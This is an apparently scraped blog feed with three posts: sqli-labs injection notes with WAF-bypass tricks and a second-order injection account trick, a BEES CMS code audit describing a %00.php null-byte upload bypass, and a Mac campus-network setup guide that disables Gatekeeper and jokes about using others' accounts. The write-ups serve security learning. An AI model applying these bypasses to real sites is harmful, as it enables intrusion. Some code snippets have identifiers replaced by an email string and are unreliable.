&lt;h3 id=&quot;less-14-post-double-injection-single-quotes-string-with-twist&quot;&gt;less-14 POST - Double injection - Single quotes - String - with twist&lt;/h3&gt;
&lt;p&gt;有报错，可以用报错注入&lt;/p&gt;
&lt;h4 id=&quot;solution_7&quot;&gt;solution&lt;/h4&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;h3 id=&quot;less-15-post-blind-booliantime-based-single-quotes&quot;&gt;less-15 POST - Blind - Boolian/time Based - Single quotes&lt;/h3&gt;
&lt;p&gt;没有错误回显，可以用布尔盲注和延时注入&lt;/p&gt;
&lt;h4 id=&quot;solution_8&quot;&gt;solution&lt;/h4&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;h3 id=&quot;less-16-post-blind-booliantime-based-double-quotes&quot;&gt;less-16 POST - Blind - Boolian/Time Based - Double quotes&lt;/h3&gt;
&lt;p&gt;单引号变双引号&lt;/p&gt;
&lt;h3 id=&quot;less-17-post-update-query-error-based-string&quot;&gt;less-17 POST - Update Query - Error Based - String&lt;/h3&gt;
&lt;p&gt;这题只能从password处注入，因为username处的特殊字符都用 check_input()函数 经过了特殊转义&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.cnblogs.com/lcamry/p/5763048.html&quot; rel=&quot;nofollow&quot;&gt;增删改函数介绍&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;less-18-post-header-injection-uagent-field-error-based&quot;&gt;less-18 POST - Header injection - Uagent field - Error based&lt;/h3&gt;
&lt;p&gt;这一题把password处也跟username一样处理了，所以那两处都无法注入了。看代码得知这里的注入是INSERT类型的，INSERT注入可以利用报错注入的方式获取数据。&lt;/p&gt;
&lt;h3 id=&quot;less-19-post-header-injection-referer-field-error-based&quot;&gt;less-19 POST - Header injection Referer field - Error based&lt;/h3&gt;
&lt;p&gt;跟上一题一样，只是在referer中注入&lt;/p&gt;
&lt;h3 id=&quot;less-20-post-cookie-injection-uagent-field-error-based&quot;&gt;less-20 POST - Cookie injection - Uagent field - error based&lt;/h3&gt;
&lt;p&gt;username获取 -&amp;gt; cookie -&amp;gt; username读取 -&amp;gt; 查询&lt;/p&gt;
&lt;h3 id=&quot;less-21-post-dump-into-outfile-string&quot;&gt;less-21 POST Dump into outfile - String&lt;/h3&gt;
&lt;p&gt;跟上一题一样，只是cookie要base64编码一下&lt;/p&gt;
&lt;h3 id=&quot;less-22-future-editions&quot;&gt;less-22 Future Editions&lt;/h3&gt;
&lt;p&gt;把‘变成&quot;&lt;/p&gt;
&lt;h3 id=&quot;_6&quot;&gt;绕过姿势&lt;/h3&gt;
&lt;p&gt;基于page-2 都是一些绕waf的题，所以顺便将绕waf的新姿势mark下来。&lt;/p&gt;
&lt;h4 id=&quot;or-and&quot;&gt;过滤 or 和 and&lt;/h4&gt;
&lt;p&gt;大小写变形 Or,OR,oR&lt;br&gt;
编码，hex，urlencode&lt;br&gt;
添加注释/&lt;em&gt;or&lt;/em&gt;/&lt;br&gt;
利用符号 and=&amp;amp;&amp;amp; or=||&lt;/p&gt;
&lt;h4 id=&quot;orand-&quot;&gt;过滤 空格，or，and,/*,#,--,/等各种符号&lt;/h4&gt;
&lt;p&gt;过滤 空格，or，and,/*,#,--,/等各种符号&lt;br&gt;
对于注释和结尾字符的我们此处只能利用构造一个 &#x27; 来闭合后面到 &#x27; ；对于空格，有较多的方法：&lt;/p&gt;
&lt;p&gt;%09 TAB键（水平）&lt;br&gt;
%0a 新建一行&lt;br&gt;
%0c 新的一页&lt;br&gt;
%0d return功能&lt;br&gt;
%0b TAB键（垂直）&lt;br&gt;
%a0 空格&lt;/p&gt;
&lt;h3 id=&quot;less-23&quot;&gt;less-23&lt;/h3&gt;
&lt;p&gt;过滤了# 和-- &lt;br&gt;
用&#x27;闭合后面的&#x27;即可&lt;/p&gt;
&lt;h3 id=&quot;less-24&quot;&gt;less-24&lt;/h3&gt;
&lt;p&gt;二次排序注入&lt;/p&gt;
&lt;p&gt;注册一个admin&#x27;#帐号，然后登录，修改密码。发现修改的是admin的密码！&lt;/p&gt;
&lt;h3 id=&quot;less-25&quot;&gt;less-25&lt;/h3&gt;
&lt;p&gt;过滤 or 和 and&lt;/p&gt;
&lt;h3 id=&quot;less-25a&quot;&gt;Less-25a&lt;/h3&gt;
&lt;p&gt;不同于25关的是sql语句中对于id，没有&#x27;&#x27;的包含，同时没有输出错误项，报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式：延时注入和联合注入。&lt;/p&gt;
&lt;h3 id=&quot;less-26&quot;&gt;less-26&lt;/h3&gt;
&lt;p&gt;过滤 空格，or，and,/*,#,--,/等各种符号&lt;/p&gt;
&lt;h3 id=&quot;less-26a&quot;&gt;less-26a&lt;/h3&gt;
&lt;p&gt;这关与26的区别在于，sql语句添加了一个括号，同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入，这里依旧是利用union注入。 &lt;/p&gt;
&lt;h3 id=&quot;less-27&quot;&gt;less-27&lt;/h3&gt;
&lt;p&gt;增加过滤 union，select&lt;/p&gt;
&lt;h3 id=&quot;less-27a&quot;&gt;less-27a&lt;/h3&gt;
&lt;p&gt;本关与27关的区别在于对于id的处理，这里用的是 &quot; ，同时mysql的错误不会在前端页面显示。&lt;/p&gt;
&lt;h3 id=&quot;less-28&quot;&gt;less-28&lt;/h3&gt;</description>
    <pubDate>Mon, 05 Feb 2018 10:15:13 +0800</pubDate>
  </item>
  <item>
    <title>
      代码审计实例-BEES_4.0_R_20160525
    </title>
    <link>https://www.0akarma.com/code-audit-bees4.html</link>
    <description>&lt;p&gt;把握大局（分析网站结构）-&amp;gt;  通读全文法/敏感函数参数回溯法/定向功能分析法  -&amp;gt; &lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2 id=&quot;_1&quot;&gt;文件上传&lt;/h2&gt;
&lt;h3 id=&quot;move_uploaded_file&quot;&gt;move_uploaded_file&lt;/h3&gt;
&lt;p&gt;用sexy法师的审计系统扫一扫，发现存在四个地方存在文件上传（move_uploaded_file 函数）&lt;/p&gt;
&lt;p&gt;1.admin_pic.php&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731833801827.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;这个只是在图片列表“修改”选项处的重新上传，并将旧照片替换掉，用burp改参数的确可以直接传一个php文件，但是后缀名是不变的，所以没有利用的地方。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2.fun.php&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;定义函数的汇总 php。这里定义了一个 up_img 函数，规定了大小、格式、是否重名……&lt;/p&gt;
&lt;p&gt;同样的，上传这一关很容易就bypass过去了。但是仔细审计 up_img 函数就会发现。它的 $file_name 不是直接就从上传那直接获得，而是经过一系列的拼接，估计就是为了防止稍微用burp改一下参数就导致文件上传漏洞的产生吧！&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731833922440.jpg&quot;&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;3.img.class.php&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里也有一些关于图片信息的函数，文件名是由“年月日时分秒+id（rand）+拓展名（ext）”拼接而成&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;4.upload_more.php&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;上传多张图片&lt;br&gt;
在upload.php中测试怎么bypass&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731834046395.jpg&quot;&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;经过上述php的审计，得出他是用白名单策略来检查扩展名，所以就试了下 &lt;strong&gt;nginx空子节漏洞&lt;/strong&gt;，用burp在.jpg后加上&lt;strong&gt;%00.php&lt;/strong&gt;后发现上传的jpg文件已经被解析为php了。所以…. &lt;strong&gt;:)&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;难道只存在解析漏洞？再找找看～～&lt;/p&gt;
&lt;p&gt;但是我又在之前已嵌入php代码的png文件中尝试用%00.php 来执行png中的代码，发现不得行：&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731834208621.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;初步分析是过滤了&lt;strong&gt;%&lt;/strong&gt;，&lt;img alt=&quot;&quot; src=&quot;/api/download/15731834387466.jpg&quot;&gt;&lt;br&gt;
但是直接在url上加%后enter，发现，没有被转义啊！&lt;img alt=&quot;&quot; src=&quot;/api/download/15731834499333.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But Why？&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;getimagesize&quot;&gt;getimagesize()&lt;/h3&gt;
&lt;p&gt;验证文件头只要为GIF89a，就会返回真&lt;/p&gt;
&lt;p&gt;1.admin_pic.php&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;if($is_thumb){//开启缩略图
        $file_info=@getimagesize($file_name);
        if(empty($file_info)){msg(&#x27;图片不存在，操作失败&#x27;);}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;2.fun.php&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;if(!move_uploaded_file($file[&#x27;tmp_name&#x27;],$file_name)){
            msg(&#x27;图片上传失败&#x27;,&#x27;&#x27;,0);
        }
        $file_info=@getimagesize($file_name);
            switch($file_info[2]){
            case 1:
            $php_file=@imagecreatefromgif($file_name);
            break;
            case 2:
            $php_file=@imagecreatefromjpeg($file_name);
            break;
            case 3:
            $php_file=@imagecreatefrompng($file_name);
            break;
            }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;上传图片下面有getimagesize()函数，对参数进行处理。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;if($_sys[&#x27;image_type&#x27;][0]){
                $logo=CMS_PATH.&#x27;upload/&#x27;.$_sys[&#x27;pic&#x27;];
                $logo_info=@getimagesize($logo);
                switch($logo_info[2]){
                case 1:
                $logo_file=@imagecreatefromgif($logo);
                break;
                case 2:
                $logo_file=@imagecreatefromjpeg($logo);
                break;
                case 3:
                $logo_file=@imagecreatefrompng($logo);
                break;
                }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;虽然加了png文件头，识别为图片后缀。但是想绕过上传，怕是不大行，因为都是用同一套上传验证机制。这个函数好像在这里好像只是用于读取长宽，并判断后缀名，下面也对postion位置进行case分类[1-2-3]，然后拼接。用imagecopy拷贝一下图像参数。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;imagecopy($logo_img,$logo_file,$position[0],$position[1],0,0,$logo_info[0],$logo_info[1]);&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;a href=&quot;https://segmentfault.com/a/1190000003911296&quot; rel=&quot;nofollow&quot;&gt;getimagesize 函数不是完全可靠的&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;文件包含&lt;/h2&gt;
&lt;p&gt;遍历了所有包含&lt;strong&gt;include&lt;/strong&gt;的文件，全都是直接拼接的路径like “ &lt;strong&gt;include(DATA_PATH.$lang.&#x27;_info.php&#x27;);&lt;/strong&gt; &quot;,没有发现包含来自（$_GET or $POST ）来的文件，所以。。在当前的知识框架下，我好像找不到其他利用的方式，也就无法配合&lt;strong&gt;伪协议+文件上传漏洞&lt;/strong&gt;来利用。&lt;/p&gt;
&lt;h2 id=&quot;_3&quot;&gt;文件操作&lt;/h2&gt;
&lt;h3 id=&quot;_4&quot;&gt;任意文件读取&lt;/h3&gt;
&lt;h4 id=&quot;file_get_contents&quot;&gt;先从 &lt;strong&gt;file_get_contents()&lt;/strong&gt; 入手&lt;/h4&gt;
&lt;p&gt;1 -&amp;gt; karma@d0g3.cn.php&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$privKeyStr = file_get_contents($this-&amp;gt;DKIM_private); &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DKIM是域名密钥识别邮件标准&lt;/strong&gt; ，所以此处应该只是将隐私信息赋给 $privkeystr ，没有发现可控的地方。&lt;/p&gt;
&lt;p&gt;```Php&lt;br&gt;
$file = tempnam(&#x27;&#x27;, &#x27;karma@d0g3.cn&#x27;);&lt;/p&gt;
&lt;p&gt;file_put_contents($file, $body); //TODO check this worked&lt;/p&gt;
&lt;p&gt;$signed = tempnam(&quot;&quot;, &quot;signed&quot;);&lt;br&gt;
if (@openssl_pkcs7_sign($file, $signed, &quot;file://&quot;.$this-&amp;gt;sign_cert_file, array(&quot;file://&quot;.$this-&amp;gt;sign_key_file, $this-&amp;gt;sign_key_pass), NULL)) {&lt;/p&gt;
&lt;p&gt;@unlink($file);&lt;/p&gt;
&lt;p&gt;@unlink($signed);&lt;/p&gt;
&lt;p&gt;$body = file_get_contents($signed);&lt;br&gt;
```&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$signed = tempnam(&quot;&quot;, &quot;signed&quot;);     &lt;/p&gt;
&lt;p&gt;// tempnam(dir,prefix)   创建一个具有唯一文件名的临时文件。&lt;/p&gt;
&lt;p&gt;@openssl_pkcs7_sign($file, $signed, &quot;file://&quot;.$this-&amp;gt;sign_cert_file, array(&quot;file://&quot;.$this-&amp;gt;sign_key_file, $this-&amp;gt;sign_key_pass), NULL)&lt;/p&gt;
&lt;p&gt;// openssl_pkcs7_sign  —&amp;gt; &lt;em&gt;Sign an S/MIME message&lt;/em&gt; 好像是一个类似数字签名验证的东西&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;$signed&lt;/code&gt; 里面的数据是在验证中从 &lt;code&gt;$file&lt;/code&gt; 中传过去的，而 $file &amp;lt;- sign_cert_file  ，好像也没有可控的变量 &lt;strong&gt;:(&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$file_buffer  = file_get_contents($path);&lt;/p&gt;
&lt;p&gt;$file_buffer  = $this-&amp;gt;EncodeString($file_buffer, $encoding);  // base64转义&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2 -&amp;gt; admin_db.php&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;elseif($action==&#x27;save_import&#x27;){
    if(!check_purview(&#x27;data_import&#x27;)){msg(&#x27;&amp;lt;span style=&quot;color:red&quot;&amp;gt;操作失败,你的权限不足!&amp;lt;/span&amp;gt;&#x27;);}
    $fl = $_GET[&#x27;fl&#x27;];
    $time = isset($_GET[&#x27;time&#x27;])?$_GET[&#x27;time&#x27;]:&#x27;&#x27;;
    $rand = isset($_GET[&#x27;rand&#x27;])?$_GET[&#x27;rand&#x27;]:&#x27;&#x27;;
    $page = isset($_GET[&#x27;page&#x27;])?$_GET[&#x27;page&#x27;]:1;
    if(empty($fl)){err(&#x27;&amp;lt;span style=&quot;color:red&quot;&amp;gt;参数传递错误,请重新操作&amp;lt;/span&amp;gt;&#x27;);}
    if($time&amp;amp;&amp;amp;$rand&amp;amp;&amp;amp;$page){
$import_file =DATA_PATH.&#x27;backup/&#x27;.$fl.&#x27;/db_backup_&#x27;.$time.&#x27;_&#x27;.$rand.&#x27;_&#x27;.$page.&#x27;.sql&#x27;;
    if(@file_exists($import_file))
    {
        $data=@file_get_contents($import_file);
        $data=explode(&quot;;\n&quot;,trim($data));

        if(!empty($data)){
            foreach($data as $k=&amp;gt;$v){
                $GLOBALS[&#x27;mysql&#x27;]-&amp;gt;query($v);
            }
        }

        show_htm(&#x27;卷&#x27;.$page.&#x27;导入完成&#x27;,&#x27;?action=save_import&amp;amp;fl=&#x27;.$fl.&#x27;&amp;amp;time=&#x27;.$time.&#x27;&amp;amp;rand=&#x27;.$rand.&#x27;&amp;amp;page=&#x27;.($page+1).&#x27;&amp;amp;nav=&#x27;.$admin_nav.&#x27;&amp;amp;admin_p_nav=&#x27;.$admin_p_nav);
    }&lt;/code&gt;&lt;/pre&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;$file_get_contents&lt;/code&gt;  &amp;lt;- &lt;code&gt;$import_file&lt;/code&gt; &amp;lt;-&lt;code&gt;(DATA_PATH.&#x27;backup/&#x27;.$fl.&#x27;/db_backup_&#x27;.$time.&#x27;_&#x27;.$rand.&#x27;_&#x27;.$page.&#x27;.sql&#x27;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其中 &lt;code&gt;$f1&lt;/code&gt;、&lt;code&gt;$time&lt;/code&gt;、&lt;code&gt;$rand&lt;/code&gt;、&lt;code&gt;$page&lt;/code&gt;都是通过 $_GET 传递的，所以，是可控的，看看是否有利用的价值。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;三元运算符： &lt;strong&gt;?: &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;```php&lt;br&gt;
&amp;lt;?php&lt;br&gt;
// Example usage for: Ternary Operator&lt;br&gt;
$action = (empty($_POST[&#x27;action&#x27;])) ? &#x27;default&#x27; : $_POST[&#x27;action&#x27;];&lt;/p&gt;
&lt;p&gt;// The above is identical to this if/else statement&lt;br&gt;
if (empty($_POST[&#x27;action&#x27;])) {&lt;br&gt;
    $action = &#x27;default&#x27;;&lt;br&gt;
} else {&lt;br&gt;
    $action = $_POST[&#x27;action&#x27;];&lt;br&gt;
}&lt;br&gt;
?&amp;gt;&lt;br&gt;
```&lt;br&gt;
explode() 把字符串打散为数组&lt;/p&gt;
&lt;p&gt;trim() 移除字符串两侧的字符&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;3 -&amp;gt; tpl.class.php&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-Php&quot;&gt;    if($include_cache){$this-&amp;gt;template_is_cache=0;}
    $this-&amp;gt;template_file=$this-&amp;gt;template_dir.$template_file.&#x27;.html&#x27;;
    if(!file_exists($this-&amp;gt;template_file)){die(&#x27;不存在模板文件&#x27;.$template_file.&#x27;.html&#x27;);}
    $this-&amp;gt;template_file_content=file_get_contents($this-&amp;gt;template_file);
    $this-&amp;gt;template_com_file=$this-&amp;gt;template_compile.$template_file.&#x27;_&#x27;.$this-&amp;gt;template_lang.$this-&amp;gt;mb.&#x27;_compile.php&#x27;;//编译文件
    $this-&amp;gt;cache();//生成缓存文件
    $this-&amp;gt;compile();//编译模板
    $this-&amp;gt;view($is_copy);//显示模板
    if($this-&amp;gt;tp){echo $this-&amp;gt;content;}&lt;/code&gt;&lt;/pre&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;$this-&amp;gt;template_file&lt;/code&gt; &amp;lt;- &lt;code&gt;$this-&amp;gt;template_dir.$template_file.&#x27;.html&#x27;&lt;/code&gt;未发现可控变量，而且模版是直接从数据库中调出，并没有上传模版的地方。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;fread&quot;&gt;再从 fread() 入手&lt;/h4&gt;
&lt;p&gt;1 -&amp;gt; fun.php&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;function copy_lang($lang){
    if(isset($lang)){
        if(!$fp=@fopen(LANG_PATH.&#x27;lang_cn.php&#x27;,&#x27;r&#x27;)){
            msg(&#x27;基本语言包不能操作，请检查是否有操作文件的权限&#x27;,&#x27;javascript:history.go(-1);&#x27;);
        }
        $fl=fread($fp,filesize(LANG_PATH.&#x27;lang_cn.php&#x27;));
        unset($fp);
        $fp2=@fopen(LANG_PATH.&#x27;lang_&#x27;.$lang.&#x27;.php&#x27;,&#x27;w&#x27;);
        return fwrite($fp2,$fl);

function creat_inc($fl,$str){
    if(file_exists($fl)){@unlink($fl);}
    if(!$fp=@fopen($fl,&#x27;w&#x27;)){
        msg(&#x27;文件打开失败,请检查是否有足够的权限操作文件&#x27;);
    }
    flock($fp,LOCK_EX);
    if(!fwrite($fp,$str)){
        msg(&#x27;写入文件失败,请检查是否有足够的权限操作文件&#x27;);
    }
    flock($fp,LOCK_UN);
    unset($fp);&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;生成语言配置文件，好像。。没办法从基本语言包处入手啊！&lt;/p&gt;
&lt;p&gt;2 -&amp;gt; admin_template_php&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;elseif($action==&#x27;xg&#x27;){
    if(!check_purview(&#x27;tpl_manage&#x27;)){msg(&#x27;&amp;lt;span style=&quot;color:red&quot;&amp;gt;操作失败,你的权限不足!&amp;lt;/span&amp;gt;&#x27;);}
    $file = $_GET[&#x27;file&#x27;];
    $path=CMS_PATH.$file;
    if(!$fp=@fopen($path,&#x27;r+&#x27;)){err(&#x27;&amp;lt;span style=&quot;color:red&quot;&amp;gt;模板打开失败,请确定【&#x27;.$file.&#x27;】模板是否存在&amp;lt;/span&amp;gt;&#x27;);}
    flock($fp,LOCK_EX);
    $str=@fread($fp,filesize($path));
    $str = str_replace(&quot;&amp;amp;&quot;,&quot;&amp;amp;amp;&quot;,$str);
    $str= str_replace(array(&quot;&#x27;&quot;,&#x27;&quot;&#x27;,&quot;&amp;lt;&quot;,&quot;&amp;gt;&quot;),array(&quot;&amp;amp;#39;&quot;,&quot;&amp;amp;quot;&quot;,&quot;&amp;amp;lt;&quot;,&quot;&amp;amp;gt;&quot;),$str);
    flock($fp,LOCK_UN);
    fclose($fp);
    include(&#x27;template/admin_template_xg.php&#x27;);&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;code&gt;$path&lt;/code&gt; &amp;lt;- &lt;code&gt;CMS_PATH.$file&lt;/code&gt; &amp;lt;-&lt;code&gt;$_GET[&#x27;file&#x27;]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;虽然变量可控，但是好像没有echo的地方啊，也无法形成任意文件读取漏洞～ &lt;strong&gt;:(&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​                         &lt;/p&gt;
&lt;p&gt;3 -&amp;gt; karma@d0g3.cn.php&lt;br&gt;
&lt;a href=&quot;http://blog.nsfocus.net/multiple-php-mail-function-vulnerability-analysis/&quot; rel=&quot;nofollow&quot;&gt;多个PHP karma@d0g3.cn函数引发的命令执行漏洞分析&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;xss&quot;&gt;XSS&lt;/h2&gt;
&lt;h2 id=&quot;sql-injection&quot;&gt;SQL Injection&lt;/h2&gt;
&lt;p&gt;1-&amp;gt; member.php&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731835885896.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;登陆的时候随便测试了一下万能密码，发现 &lt;strong&gt;‘&lt;/strong&gt; 被 &lt;strong&gt;\&#x27;&lt;/strong&gt; 转义了，&lt;strong&gt;=&lt;/strong&gt; 也被过滤了。&lt;/p&gt;
&lt;p&gt;但是在burp上稍微改改参数，但是会显示密码不正确，好像还没看懂如何验证登录。&lt;/p&gt;
&lt;p&gt;首页的搜索框是不是也可以看看有没有注入的点？ &lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731836012196.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;好像一有query语句，就会有x和y……&lt;/p&gt;
&lt;p&gt;然后sql语句执行了有上90条～估计是遍历各个地方看看有没有所需的东西。&lt;/p&gt;
&lt;h2 id=&quot;_5&quot;&gt;代码/命令执行&lt;/h2&gt;
&lt;h3 id=&quot;preg_replace&quot;&gt;preg_replace()&lt;/h3&gt;
&lt;h3 id=&quot;popen&quot;&gt;popen()&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;karma@d0g3.cn.php&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;if ($this-&amp;gt;SingleTo === true) {
      foreach ($this-&amp;gt;SingleToArray as $key =&amp;gt; $val) {
        if(!@$karma@d0g3.cn = popen($sendmail, &#x27;w&#x27;)) {
          throw new phpmailerException($this-&amp;gt;Lang(&#x27;execute&#x27;) . $this-&amp;gt;Sendmail, self::STOP_CRITICAL);
        }
        fputs($karma@d0g3.cn, &quot;To: &quot; . $val . &quot;\n&quot;);
        fputs($karma@d0g3.cn, $header);
        fputs($karma@d0g3.cn, $body);
        $result = pclose($karma@d0g3.cn);&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;notes&quot;&gt;NOTES&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.zhihu.com/question/39878368?sort=created&quot; rel=&quot;nofollow&quot;&gt;payload、shellcode、exp、poc怎么区别？&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.csdn.net/hanliuxinming/article/details/20871165&quot; rel=&quot;nofollow&quot;&gt;php中$this-&amp;gt;是什么意思？&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.csdn.net/u012767263/article/details/16952757&quot; rel=&quot;nofollow&quot;&gt;PHP中的符号 -&amp;gt;、=&amp;gt; 和 :: 分别表示什么意思?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.seebug.org/vuldb/ssvid-20898&quot; rel=&quot;nofollow&quot;&gt;Nginx %00空字节执行任意代码(php)漏洞&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Wed, 20 Dec 2017 15:05:40 +0800</pubDate>
  </item>
  <item>
    <title>
      Mac下配置mentohust连接校园网/移动/联通/
    </title>
    <link>https://www.0akarma.com/mentohust.html</link>
    <description>&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15692529550357.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;原因：可能锐捷客户端是被修改过的，所以mac会自动识别为文件损坏（就像你打开**软件一样）&lt;br&gt;
解决方法：打开终端，并输入 如下代码&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;sudo spctl --master-disable&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;根据提示，输入密码--&amp;gt;回车，你再打开锐捷客户端，如果运气好，那你就可以像你的windows室友一样轻轻松松连上校园网了。（反正我是不行&amp;gt;.&amp;lt;）&lt;/p&gt;
&lt;p&gt;所以我们还是老老实实的配置mentohust吧QAQ &lt;/p&gt;
&lt;h2 id=&quot;0x01mentohust&quot;&gt;0x01首先需要下载mentohust配置文件&lt;/h2&gt;
&lt;p&gt;百度云：链接:&lt;a href=&quot;https://pan.baidu.com/s/1mi3QOfY&quot; rel=&quot;nofollow&quot;&gt;https://pan.baidu.com/s/1mi3QOfY&lt;/a&gt;  密码:avwy&lt;/p&gt;
&lt;h2 id=&quot;0x02&quot;&gt;0x02配置重要步骤&lt;/h2&gt;
&lt;p&gt;1⃣把mentohust_mac压缩包里的dhcping和mentohust文件复制到/usr/bin/目录下.&lt;br&gt;
如果你无法复制到上面的目录，可以尝试&lt;strong&gt;在/usr/local/bin中进行以下操作（别忘了拷贝上面两个文件到这里）&lt;/strong&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有人会问：“我怎么没看到/usr/local/bin在哪里？&lt;/p&gt;
&lt;p&gt;废话，那是隐藏文件夹，肯定啊！！&lt;/p&gt;
&lt;p&gt;所以你只需要右键你的finder：finder-&amp;gt;前往-&amp;gt;前往文件夹-&amp;gt;……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2⃣其次，在/etc目录下新建mentohust文件夹，然后把网盘里面下载下来的三个压缩包解压后的文件全部丢到这里面。&lt;/p&gt;
&lt;p&gt;3⃣打开终端，输入sudo mentohust，按照提示选择。   &lt;/p&gt;
&lt;p&gt;具体有什么设置我忘记了，反正账号名是学号，密码是教务处密码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;敲黑板，划重点！！&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;组播方式，我选的1，锐捷，，，DHCP认证方式，我选择的2认证后；&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;最重要的就是选网卡，如果你有虚拟机，你直接就可以看到你的网线是在哪个网卡上，像我一样：&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15692529315474.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;实在不行，那就用穷举法吧！&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一步步完成，你现在应该是可以连上校园网的了。&lt;/p&gt;
&lt;h2 id=&quot;0x03&quot;&gt;0x03修改用户信息&lt;/h2&gt;
&lt;p&gt;1⃣在穷举法的途中，你可能不能一步到位就找到你的网卡，所以你就要&lt;strong&gt;在/etc目录下找到mentohust.conf文件删除掉&lt;/strong&gt;，然后把网线拔了再插进去，再重新输入sudo mentohust 重复&lt;strong&gt;&lt;em&gt;0x02&lt;/em&gt;&lt;/strong&gt;步骤，直到找到真正的网卡为止！！&lt;/p&gt;
&lt;p&gt;2⃣或许你要坏坏地用别人的账号去登陆校园网，那你还是重复1⃣步骤吧！&lt;/p&gt;
&lt;h2 id=&quot;0x04&quot;&gt;0x04 配置移动/联通宽带&lt;/h2&gt;
